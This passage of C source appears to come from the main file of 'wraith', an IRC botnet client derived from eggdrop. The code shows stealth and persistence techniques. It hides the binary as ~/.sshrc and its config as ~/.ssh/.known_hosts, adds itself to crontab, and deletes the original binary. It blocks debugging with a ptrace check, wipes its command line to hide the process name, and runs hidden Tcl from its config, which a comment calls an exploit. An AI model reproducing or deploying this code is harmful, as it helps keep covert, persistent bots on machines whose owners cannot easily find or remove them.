  791. exit(1);
  792. }
  793. if (flock(lockfile, LOCK_EX | LOCK_NB))
  794. exit(1);
  795. }
  796. void got_ed(char *which, char *p)
  797. {
  798. char *in = NULL, *out = NULL;
  799. in = newsplit(&p);
  800. out = newsplit(&p);
  801. if (!in || !out)
  802. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  803. checkpass();
  804. check_static("blowfish", blowfish_start);
  805. Context;
  806. module_load(ENCMOD);
  807. if (!strcmp(which, "e")) {
  808. Context;
  809. EncryptFile(in, out);
  810. fatal("File Encryption complete",3);
  811. } else if (!strcmp(which, "d")) {
  812. Context;
  813. DecryptFile(in, out);
  814. fatal("File Decryption complete",3);
  815. }
  816. exit(0);
  817. }
  818. static inline void garbage_collect(void)
  819. {
  820. static u_8bit_t run_cnt = 0;
  821. if (run_cnt == 3)
  822. garbage_collect_tclhash();
  823. else
  824. run_cnt++;
  825. }
  826. /*
  827. static void do_arg(char *s)
  828. {
  829. if (s[0] != '-')
  830. strncpyz(configfile, s, sizeof configfile);
  831. }
  832. */
  833. int crontab_exists() {
  834. char buf[2048], *out=NULL;
  835. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  836. if (shell_exec(buf, NULL, &out, NULL)) {
  837. if (out && strstr(out, binname)) {
  838. nfree(out);
  839. return 1;
  840. } else {
  841. if (out)
  842. nfree(out);
  843. return 0;
  844. }
  845. } else
  846. return (-1);
  847. }
  848. void crontab_create(int interval) {
  849. char tmpfile[161],
  850. buf[256];
  851. FILE *f;
  852. int fd;
  853. /* always use mkstemp() when handling temp files! -dizz */
  854. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  855. if ((fd = mkstemp(tmpfile)) == -1) {
  856. unlink(tmpfile);
  857. return;
  858. }
  859. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  860. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  861. buf[0] = 0;
  862. if (interval == 1)
  863. strcpy(buf, "*");
  864. else {
  865. int i = 1;
  866. int si = random() % interval;
  867. while (i < 60) {
  868. if (buf[0])
  869. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  870. else
  871. sprintf(buf, "%i", (i + si) % 60);
  872. i += interval;
  873. }
  874. }
  875. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  876. fseek(f, 0, SEEK_END);
  877. fprintf(f, STR("\n%s\n"), buf);
  878. fclose(f);
  879. sprintf(buf, STR("crontab %s"), tmpfile);
  880. shell_exec(buf, NULL, NULL, NULL);
  881. }
  882. unlink(tmpfile);
  883. }
  884. static void check_crontab()
  885. {
  886. int i = 0;
  887. #ifdef LEAF
  888. if (!localhub)
  889. fatal("something is wrong.", 0);
  890. #endif
  891. i=crontab_exists();
  892. if (!i) {
  893. crontab_create(5);
  894. i=crontab_exists();
  895. if (!i)
  896. printf("* Error writing crontab entry.\n");
  897. }
  898. }
  899. #ifdef LEAF
  900. static void gotspawn(char *filename)
  901. {
  902. FILE *fp;
  903. char templine[8192], *nick, *host, *ip, *temps, *ipsix;
  904. if (!(fp = fopen(filename, "r")))
  905. fatal("Cannot read from local config (2)", 0);
  906. //link_statics();
  907. check_static("blowfish", blowfish_start);
  908. Context;
  909. module_load(ENCMOD);
  910. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  911. {
  912. Context;
  913. temps = (char *) decrypt_string(netpass, decryptit(templine));
  914. pscloak = atoi(newsplit(&temps));
  915. nick = newsplit(&temps);
  916. if (!nick)
  917. fatal("invalid config (2).",0);
  918. ip = newsplit(&temps);
  919. if (!ip)
  920. fatal("invalid config (2).",0);
  921. host = newsplit(&temps);
  922. if (!host && (ip[0] != '!'))
  923. fatal("invalid config (2).",0);
  924. if (ip[1]) {
  925. if (ip[0] == '!') { //natip
  926. ip++;
  927. sprintf(natip,"%s",ip);
  928. } else {
  929. snprintf(myip, 120, "%s", ip);
  930. }
  931. }
  932. snprintf(origbotname, 10, "%s", nick);
  933. if (host && host[1]) {
  934. if (host[0] == '+') { //ip6 host
  935. host++;
  936. sprintf(hostname6,"%s",host);
  937. } else { //normal ip4 host
  938. sprintf(hostname,"%s",host);
  939. }
  940. }
  941. ipsix = newsplit(&temps);
  942. if (ipsix && ipsix[1]) {
  943. snprintf(myip6, 120, "%s", ipsix);
  944. }
  945. }
  946. fclose(fp);
  947. // unlink(filename);
  948. }
  949. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  950. {
  951. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  952. FILE *fp;
  953. sprintf(buf, "%s", bin);
  954. sprintf(bindir, "%s", dirname(buf));
  955. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  956. if (!(fp = fopen(buf, "w")))
  957. fatal("Cannot create spawnfiles...", 0);
  958. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip, host, ipsix);
  959. fflush(fp);
  960. fclose(fp);
  961. sprintf(bufrun, "%s -c %s", bin, buf);
  962. return system(bufrun);
  963. }
  964. #endif
  965. void check_trace_start()
  966. {
  967. #ifdef S_ANTITRACE
  968. int parent = getpid();
  969. int xx = 0, i = 0;
  970. #ifdef __linux__
  971. xx = fork();
  972. if (xx == -1) {
  973. printf(STR("Can't fork process!\n"));
  974. exit(1);
  975. } else if (xx == 0) {
  976. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  977. if (i == (-1) && errno == EPERM) {
  978. kill(parent, SIGKILL);
  979. exit(1);
  980. } else {
  981. waitpid(parent, &i, 0);
  982. kill(parent, SIGCHLD);
  983. ptrace(PTRACE_DETACH, parent, 0, 0);
  984. kill(parent, SIGCHLD);
  985. }
  986. exit(0);
  987. } else {
  988. wait(&i);
  989. }
  990. #endif /* __linux__ */
  991. #ifdef __FreeBSD__
  992. xx = fork();
  993. if (xx == -1) {
  994. printf(STR("Can't fork process!\n"));
  995. exit(1);
  996. } else if (xx == 0) {
  997. i = ptrace(PT_ATTACH, parent, 0, 0);
  998. if (i == (-1) && errno == EBUSY) {
  999. kill(parent, SIGKILL);
  1000. exit(1);
  1001. } else {
  1002. wait(&i);
  1003. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1004. kill(parent, SIGCHLD);
  1005. wait(&i);
  1006. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1007. wait(&i);
  1008. }
  1009. exit(0);
  1010. } else {
  1011. waitpid(xx, NULL, 0);
  1012. }
  1013. #endif /* __FreeBSD__ */
  1014. #ifdef __OpenBSD__
  1015. xx = fork();
  1016. if (xx == -1) {
  1017. printf(STR("Can't fork process!\n"));
  1018. exit(1);
  1019. } else if (xx == 0) {
  1020. i = ptrace(PT_ATTACH, parent, 0, 0);
  1021. if (i == (-1) && errno == EBUSY) {
  1022. kill(parent, SIGKILL);
  1023. exit(1);
  1024. } else {
  1025. wait(&i);
  1026. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1027. kill(parent, SIGCHLD);
  1028. wait(&i);
  1029. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1030. wait(&i);
  1031. }
  1032. exit(0);
  1033. } else {
  1034. waitpid(xx, NULL, 0);
  1035. }
  1036. #endif /* __OpenBSD__ */
  1037. #endif /* S_ANTITRACE */
  1038. }
  1039. int main(int argc, char **argv)
  1040. {
  1041. int xx, i;
  1042. #ifdef LEAF
  1043. int x = 1;
  1044. #endif
  1045. char buf[sgrab + 9], s[25];
  1046. FILE *f;
  1047. struct sigaction sv;
  1048. struct chanset_t *chan;
  1049. struct stat sb;
  1050. #ifdef LEAF
  1051. struct stat ss;
  1052. int skip = 0;
  1053. FILE *fp;
  1054. struct passwd *pw;
  1055. char newbinbuf[DIRMAX], newbin[DIRMAX], confdir[DIRMAX], tmp[DIRMAX],
  1056. cfile[DIRMAX], templine[8192], *temps;
  1057. int ok = 1;
  1058. // uid_t id;
  1059. #else
  1060. char confdir[DIRMAX], tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1061. char tmpdir[DIRMAX];
  1062. #endif
  1063. char c[1024], *vers_n, *unix_n;
  1064. #ifdef HAVE_UNAME
  1065. struct utsname un;
  1066. #endif
  1067. char check[100];
  1068. #ifdef DEBUG_MEM
  1069. /* Make sure it can write core, if you make debug. Else it's pretty
  1070. * useless (dw)
  1071. */
  1072. {
  1073. #include <sys/resource.h>
  1074. struct rlimit cdlim;
  1075. cdlim.rlim_cur = RLIM_INFINITY;
  1076. cdlim.rlim_max = RLIM_INFINITY;
  1077. setrlimit(RLIMIT_CORE, &cdlim);
  1078. }
  1079. #endif
  1080. /* Initialise context list */
  1081. for (i = 0; i < 16; i++)
  1082. Context;
  1083. /* Version info! */
  1084. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1085. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1086. /* Now add on the patchlevel (for Tcl) */
  1087. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1088. #ifdef STOP_UAC
  1089. {
  1090. int nvpair[2];
  1091. nvpair[0] = SSIN_UACPROC;
  1092. nvpair[1] = UAC_NOPRINT;
  1093. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1094. }
  1095. #endif
  1096. /* Set up error traps: */
  1097. sv.sa_handler = got_bus;
  1098. sigemptyset(&sv.sa_mask);
  1099. #ifdef SA_RESETHAND
  1100. sv.sa_flags = SA_RESETHAND;
  1101. #else
  1102. sv.sa_flags = 0;
  1103. #endif
  1104. sigaction(SIGBUS, &sv, NULL);
  1105. sv.sa_handler = got_segv;
  1106. sigaction(SIGSEGV, &sv, NULL);
  1107. #ifdef SA_RESETHAND
  1108. sv.sa_flags = 0;
  1109. #endif
  1110. sv.sa_handler = got_fpe;
  1111. sigaction(SIGFPE, &sv, NULL);
  1112. sv.sa_handler = got_term;
  1113. sigaction(SIGTERM, &sv, NULL);
  1114. sv.sa_handler = got_stop;
  1115. sigaction(SIGSTOP, &sv, NULL);
  1116. #ifdef S_HIJACKCHECK
  1117. sv.sa_handler = got_cont;
  1118. sigaction(SIGCONT, &sv, NULL);
  1119. #endif
  1120. sv.sa_handler = got_hup;
  1121. sigaction(SIGHUP, &sv, NULL);
  1122. sv.sa_handler = got_quit;
  1123. sigaction(SIGQUIT, &sv, NULL);
  1124. sv.sa_handler = SIG_IGN;
  1125. sigaction(SIGPIPE, &sv, NULL);
  1126. sv.sa_handler = got_ill;
  1127. sigaction(SIGILL, &sv, NULL);
  1128. sv.sa_handler = got_alarm;
  1129. sigaction(SIGALRM, &sv, NULL);
  1130. Context;
  1131. /* Initialize variables and stuff */
  1132. now = time(NULL);
  1133. chanset = NULL;
  1134. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1135. lastmin = nowtm.tm_min;
  1136. srandom(now % (getpid() + getppid()));
  1137. Context;
  1138. init_mem();
  1139. myuid = geteuid();
  1140. Context;
  1141. binname = getfullbinname(argv[0]);
  1142. Context;
  1143. check_trace_start();
  1144. if (stat(binname, &sb))
  1145. fatal("Cannot access binary.", 0);
  1146. if (chmod(binname, S_IRUSR | S_IWUSR | S_IXUSR))
  1147. fatal("Cannot chmod binary.", 0);
  1148. init_settings();
  1149. init_tcl(argc, argv);
  1150. if (argc) {
  1151. if (SDEBUG)
  1152. printf("Calling dtx_arg with %d params.\n", argc);
  1153. dtx_arg(argc, argv);
  1154. }
  1155. #ifdef LEAF
  1156. if (SDEBUG)
  1157. printf("my uid: %d my uuid: %d, my ppid: %d my pid: %d\n", getuid(), geteuid(), getppid(), getpid());
  1158. Context;
  1159. pw = getpwuid(geteuid());
  1160. if (!pw)
  1161. fatal("Cannot read from the passwd file.", 0);
  1162. Context;
  1163. chdir(pw->pw_dir);
  1164. snprintf(newbin, sizeof newbin, "%s/.sshrc", pw->pw_dir);
  1165. snprintf(confdir, sizeof confdir, "%s/.ssh", pw->pw_dir);
  1166. snprintf(tempdir, sizeof tempdir, "%s/...", confdir);
  1167. #endif
  1168. #ifdef HUB
  1169. snprintf(tmpdir, sizeof tmpdir, "%s", binname);
  1170. snprintf(confdir, sizeof confdir, "%s", dirname(tmpdir));
  1171. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir);
  1172. #endif
  1173. #ifdef LEAF
  1174. /* is the homedir a symlink? */
  1175. if (SDEBUG)
  1176. printf("newbin starts at: %s\n", newbin);
  1177. /* fuck it, I hate dealing with this shit.
  1178. if (!stat(newbin, &ss)) {
  1179. int f = 0;
  1180. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1181. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1182. if (!f) {
  1183. if (SDEBUG)
  1184. printf("symlink newbin: %s\n", newbin);
  1185. strcpy(newbin, newbinbuf);
  1186. if (SDEBUG)
  1187. printf("newbin is now: %s\n", newbin);
  1188. } else {
  1189. if (SDEBUG) {
  1190. printf("readlink failed on %s with error %d erno %d\n", newbin, f, errno);
  1191. }
  1192. //fuck it. (no paths)
  1193. sprintf(newbin, ".sshrc");
  1194. copyfile(binname, newbin);
  1195. skip = 1;
  1196. }
  1197. }
  1198. }
  1199. if (SDEBUG)
  1200. printf(STR("skip is: %d\n"), skip);
  1201. */
  1202. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1203. if (SDEBUG)
  1204. printf("wrong dir, is: %s :: %s\n", binname, newbin);
  1205. unlink(newbin);
  1206. if (copyfile(binname,newbin))
  1207. ok = 0;
  1208. if (ok)
  1209. if (stat(newbin, &sb)) {
  1210. unlink(newbin);
  1211. ok = 0;
  1212. }
  1213. if (ok)
  1214. if (chmod(newbin, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1215. unlink(newbin);
  1216. ok = 0;
  1217. }
  1218. if (!ok)
  1219. fatal("Wrong directory/binname.", 0);
  1220. else {
  1221. unlink(binname);
  1222. if (system(newbin)) {
  1223. if (SDEBUG)
  1224. printf(STR("exiting due to problem with restarting new binary.\n"));
  1225. exit(1);
  1226. } else {
  1227. printf(STR("exiting to let new binary run.\n"));
  1228. exit(0); //This is to spawn the new binary in the correct place.
  1229. }
  1230. }
  1231. }
  1232. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1233. #endif
  1234. snprintf(tmp, sizeof tmp, "%s/", confdir);
  1235. if (stat(tmp, &sb)) {
  1236. #ifdef LEAF
  1237. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1238. unlink(confdir);
  1239. if (stat(confdir, &sb))
  1240. if (mkdir(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1241. #endif
  1242. fatal("cant create/access config dir.\n",0);
  1243. #ifdef LEAF
  1244. }
  1245. #endif
  1246. }
  1247. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1248. if (stat(tmp, &sb)) {
  1249. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1250. unlink(tempdir);
  1251. if (stat(tempdir, &sb))
  1252. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1253. fatal("cant create/access tmp dir.\n",0);
  1254. }
  1255. }
  1256. if (chmod(confdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1257. fatal("cannot chmod config dir.\n",0);
  1258. if (chmod(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1259. fatal("cannot chmod tmp dir.\n",0);
  1260. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1261. #ifdef LEAF
  1262. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir);
  1263. #else
  1264. snprintf(cfile, sizeof cfile, "%s/conf", confdir);
  1265. #endif
  1266. chmod(cfile, S_IRUSR | S_IWUSR | S_IXUSR);
  1267. Context;
  1268. init_dcc_max();
  1269. init_userent();
  1270. init_misc();
  1271. init_bots();
  1272. init_net();
  1273. init_modules();
  1274. init_userrec();
  1275. if (backgrd)
  1276. bg_prepare_split();
  1277. #ifndef LEAF
  1278. kill_tcl();
  1279. init_tcl(argc, argv);
  1280. #endif
  1281. init_botcmd();
  1282. link_statics();
  1283. module_load(ENCMOD);
  1284. #ifdef LEAF
  1285. if (localhub) { //we only want to read the config if we are the spawn bot..
  1286. #endif
  1287. #ifdef HAVE_UNAME
  1288. if (uname(&un) < 0) {
  1289. #endif /* HAVE_UNAME */
  1290. unix_n = "*unkown*";
  1291. vers_n = "";
  1292. #ifdef HAVE_UNAME
  1293. } else {
  1294. unix_n = un.nodename;
  1295. #ifdef __FreeBSD__
  1296. vers_n = un.release;
  1297. #else
  1298. vers_n = un.version;
  1299. #endif /* __FreeBSD__ */
  1300. }
  1301. #endif /* HAVE_UNAME */
  1302. i = 0;
  1303. if (!(f = fopen(cfile, "r")))
  1304. fatal(STR("the local config is missing."),0);
  1305. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1306. char *nick=NULL,*host=NULL,*ip=NULL,*ipsix=NULL;
  1307. int skip = 0;
  1308. Context;
  1309. if (templine[0] != '+') {
  1310. printf(STR("%d: "), i);
  1311. fatal(STR("conf not encrypted correctly."), 0);
  1312. }
  1313. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1314. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1315. printf(STR("%d: "), i);
  1316. fatal(STR("Invalid config or encryption."),0);
  1317. }
  1318. snprintf(c, sizeof c, "%s",temps);
  1319. if (c[0] == '*')
  1320. skip = 1;
  1321. else if (c[0] == '-' && !skip) { //this is the uid
  1322. newsplit(&temps);
  1323. if (geteuid() != atoi(temps)) {
  1324. if (SDEBUG)
  1325. printf("wrong uid, conf: %d :: %d\n", atoi(temps), geteuid());
  1326. fatal("Go away.",0);
  1327. }
  1328. } else if (c[0] == '+' && !skip) { //this is the uname
  1329. int r = 0;
  1330. newsplit(&temps);
  1331. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1332. if ((r = strcmp(temps, check))) {
  1333. if (SDEBUG)
  1334. printf("wrong uname, conf: %s :: %s\n", check, temps);
  1335. printf("%d\n", r);
  1336. fatal("Go away..",0);
  1337. }
  1338. } else if (c[0] == '!') { //local tcl exploit
  1339. if (c[1] == '-') { //dont use pscloak
  1340. pscloak = 0;
  1341. } else {
  1342. newsplit(&temps);
  1343. Tcl_Eval(interp, temps);
  1344. }
  1345. } else if (c[0] != '#') { //now to parse nick/hosts
  1346. //we have the right uname/uid, safe to setup crontab now.
  1347. i++;
  1348. nick = newsplit(&temps);
  1349. if (!nick)
  1350. fatal("invalid config.",0);
  1351. if (SDEBUG)
  1352. printf("Read nick from config: %s\n", nick);
  1353. if (temps[0])
  1354. ip = newsplit(&temps);
  1355. if (!ip)
  1356. fatal("invalid config..",0);
  1357. if (temps[0])
  1358. host = newsplit(&temps);
  1359. // if (!host && (ip[0] != '!'))
  1360. // fatal("invalid config...",0);
  1361. if (host && !host[1] && (ip && ip[0] != '!'))
  1362. host[0] = '.';
  1363. if (temps[0])
  1364. ipsix = newsplit(&temps);
  1365. if (ipsix && !ipsix[1])
  1366. ipsix[0] = '.';
  1367. if (i == 1) { //this is the first bot ran/parsed
  1368. strncpyz(s, ctime(&now), sizeof s);
  1369. strcpy(&s[11], &s[20]);
  1370. printf("--- Loading %s (%s)\n\n", ver, s);
  1371. #ifdef LEAF
  1372. if (ip[0] == '!') { //natip
  1373. ip++;
  1374. sprintf(natip, "%s",ip);
  1375. } else {
  1376. #endif
  1377. snprintf(myip, 120, "%s", ip);
  1378. #ifdef LEAF
  1379. }
  1380. #endif
  1381. snprintf(origbotname, 10, "%s", nick);
  1382. #ifdef HUB
  1383. sprintf(userfile, "%s/.%s.user", confdir, nick);
  1384. #endif
  1385. if (host && host[1]) {
  1386. #ifdef LEAF
  1387. if (host[0] == '+') { //ip6 host
  1388. host++;
  1389. sprintf(hostname6, "%s",host);
  1390. } else //normal ip4 host
  1391. #endif
  1392. sprintf(hostname, "%s",host);
  1393. }
  1394. if (ipsix && ipsix[1]) {
  1395. snprintf(myip6, 120, "%s",ipsix);
  1396. }
  1397. }
  1398. #ifdef LEAF
  1399. else { //these are the rest of the bots..
  1400. char buf2[DIRMAX];
  1401. xx = 0, x = 0, errno = 0;
  1402. s[0] = '\0';
  1403. /* first let's determine if the bot is already running or not.. */
  1404. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1405. fp = fopen(buf2, "r");
  1406. if (fp != NULL) {
  1407. fgets(s, 10, fp);
  1408. fclose(fp);
  1409. xx = atoi(s);
  1410. if (updating) {
  1411. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1412. unlink(buf2);
  1413. }
  1414. kill(xx, SIGCHLD);
  1415. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1416. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1417. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1418. }
  1419. } else {
  1420. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1421. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1422. }
  1423. }
  1424. #endif /* LEAF */
  1425. } // if read in[0] != #
  1426. temps = 0;
  1427. }
  1428. fclose(f);
  1429. #ifdef LEAF
  1430. if (updating)
  1431. exit(0); //let the 5 min timer restart us.
  1432. } // (localhub)
  1433. #endif
  1434. module_load("dns");
  1435. module_load("channels");
  1436. #ifdef LEAF
  1437. module_load("server");
  1438. module_load("irc");
  1439. #endif
  1440. module_load("transfer");
  1441. module_load("share");
  1442. module_load("update");
  1443. module_load("notes");
  1444. module_load("console");
  1445. module_load("ctcp");
  1446. module_load("compress");
  1447. chanprog();
  1448. #ifdef LEAF
  1449. if (localhub) {
  1450. if (SDEBUG)
  1451. printf("I am localhub\n");
  1452. #endif
  1453. check_crontab();
  1454. #ifdef LEAF
  1455. }
  1456. #endif
  1457. Context;
  1458. if (!encrypt_pass) {
  1459. printf(MOD_NOCRYPT);
  1460. bg_send_quit(BG_ABORT);
  1461. exit(1);
  1462. }
  1463. //temp
  1464. cache_miss = 0;
  1465. cache_hit = 0;
  1466. if (!pid_file[0])
  1467. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1468. f = fopen(pid_file, "r");
  1469. if ((localhub && !updating) || !localhub) {
  1470. if (f != NULL) {
  1471. fgets(s, 10, f);
  1472. xx = atoi(s);
  1473. kill(xx, SIGCHLD);
  1474. if (errno != ESRCH) { //!= is PID is running.
  1475. bg_send_quit(BG_ABORT);
  1476. exit(1);
  1477. }
  1478. }
  1479. }
  1480. #ifdef LEAF
  1481. {
  1482. long test = iptolong(getmyip(1));
  1483. test = 0;
  1484. }
  1485. #endif
  1486. #ifdef LEAF
  1487. #ifdef S_PSCLOAK
  1488. if (pscloak) {
  1489. int on = 0;
  1490. strncpy(argv[0],progname(),strlen(argv[0]));
  1491. //this clears all the params..
  1492. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1493. }
  1494. #endif /* PSCLOAK */
  1495. #endif /* LEAF */
  1496. i = 0;
  1497. for (chan = chanset; chan; chan = chan->next)
  1498. i++;
  1499. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1500. botnetnick, i, count_users(userlist));
  1501. /* Move into background? */
  1502. if (backgrd) {
  1503. #ifndef CYGWIN_HACKS
  1504. bg_do_split();
  1505. } else { /* !backgrd */
  1506. #endif
  1507. xx = getpid();
  1508. if (xx != 0) {
  1509. FILE *fp;
  1510. /* Write pid to file */
  1511. unlink(pid_file);
  1512. fp = fopen(pid_file, "w");
  1513. if (fp != NULL) {
  1514. fprintf(fp, "%u\n", xx);
  1515. if (fflush(fp)) {
  1516. /* Let the bot live since this doesn't appear to be a botchk */
  1517. printf(EGG_NOWRITE, pid_file);
  1518. fclose(fp);
  1519. unlink(pid_file);
  1520. } else
  1521. fclose(fp);
  1522. } else
  1523. printf(EGG_NOWRITE, pid_file);
  1524. #ifdef CYGWIN_HACKS
  1525. printf("Launched into the background (pid: %d)\n\n", xx);
  1526. #endif
  1527. }
  1528. }
  1529. use_stderr = 0; /* Stop writing to stderr now */
  1530. if (backgrd) {
  1531. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1532. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1533. setpgid(0, 0);
  1534. #endif
  1535. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1536. freopen("/dev/null", "r", stdin);
  1537. freopen("/dev/null", "w", stdout);
  1538. freopen("/dev/null", "w", stderr);
  1539. #ifdef CYGWIN_HACKS
  1540. FreeConsole();
  1541. #endif
  1542. }
  1543. /* Terminal emulating dcc chat */
  1544. if (!backgrd && term_z) {
  1545. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1546. dcc[n].addr = iptolong(getmyip(1));
  1547. dcc[n].sock = STDOUT;
  1548. dcc[n].timeval = now;
  1549. dcc[n].u.chat->con_flags = conmask;
  1550. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1551. dcc[n].status = STAT_ECHO;
  1552. strcpy(dcc[n].nick, "HQ");
  1553. strcpy(dcc[n].host, "llama@console");
  1554. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1555. /* Make sure there's an innocuous HQ user if needed */
  1556. if (!dcc[n].user) {
  1557. userlist = adduser(userlist, "HQ", "none", "-", USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1558. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1559. }
  1560. setsock(STDOUT, 0,AF_INET); /* Entry in net table */
  1561. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1562. dcc_chatter(n);
  1563. }
  1564. then = now;
  1565. online_since = now;
  1566. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1567. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1568. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1569. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1570. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1571. add_hook(HOOK_REHASH, (Function) event_rehash);
  1572. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1573. add_hook(HOOK_USERFILE, (Function) event_save);
  1574. #ifdef HUB
  1575. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1576. #endif
  1577. add_hook(HOOK_DAILY, (Function) event_logfile);
  1578. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1579. add_hook(HOOK_LOADED, (Function) event_loaded);
  1580. call_hook(HOOK_LOADED);
  1581. debug0("main: entering loop");
  1582. while (1) {
  1583. int socket_cleanup = 0;
  1584. #if !defined(HAVE_PRE7_5_TCL)
  1585. /* Process a single tcl event */
  1586. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1587. #endif
  1588. /* Lets move some of this here, reducing the numer of actual
  1589. * calls to periodic_timers
  1590. */
  1591. now = time(NULL);
  1592. random(); /* Woop, lets really jumble things */
  1593. if (now != then) { /* Once a second */
  1594. call_hook(HOOK_SECONDLY);
  1595. then = now;
  1596. }
  1597. /* Only do this every so often. */
  1598. if (!socket_cleanup) {
  1599. socket_cleanup = 5;
  1600. /* Remove dead dcc entries. */
  1601. dcc_remove_lost();
  1602. /* Check for server or dcc activity. */
  1603. dequeue_sockets();
  1604. } else
  1605. socket_cleanup--;
  1606. /* Free unused structures. */
  1607. garbage_collect();
  1608. xx = sockgets(buf, &i);
  1609. if (xx >= 0) { /* Non-error */
  1610. int idx;
  1611. for (idx = 0; idx < dcc_total; idx++)
  1612. if (dcc[idx].sock == xx) {
  1613. if (dcc[idx].type && dcc[idx].type->activity) {
  1614. /* Traffic stats */
  1615. if (dcc[idx].type->name) {
  1616. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1617. itraffic_bn_today += strlen(buf) + 1;
  1618. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1619. itraffic_irc_today += strlen(buf) + 1;
  1620. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1621. itraffic_dcc_today += strlen(buf) + 1;
  1622. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1623. itraffic_dcc_today += strlen(buf) + 1;
  1624. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1625. itraffic_trans_today += strlen(buf) + 1;
  1626. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1627. itraffic_trans_today += strlen(buf) + 1;
  1628. else
  1629. itraffic_unknown_today += strlen(buf) + 1;
  1630. }
  1631. dcc[idx].type->activity(idx, buf, i);
  1632. } else
  1633. putlog(LOG_MISC, "*",
  1634. "!!! untrapped dcc activity: type %s, sock %d",
  1635. dcc[idx].type->name, dcc[idx].sock);
  1636. break;
  1637. }
  1638. } else if (xx == -1) { /* EOF from someone */
  1639. int idx;
  1640. if (i == STDOUT && !backgrd)
  1641. fatal("END OF FILE ON TERMINAL", 0);
  1642. for (idx = 0; idx < dcc_total; idx++)
  1643. if (dcc[idx].sock == i) {
  1644. if (dcc[idx].type && dcc[idx].type->eof)
  1645. dcc[idx].type->eof(idx);
  1646. else {
  1647. putlog(LOG_MISC, "*",
  1648. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1649. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1650. killsock(i);
  1651. lostdcc(idx);
  1652. }
  1653. idx = dcc_total + 1;
  1654. }
  1655. if (idx == dcc_total) {
  1656. putlog(LOG_MISC, "*",
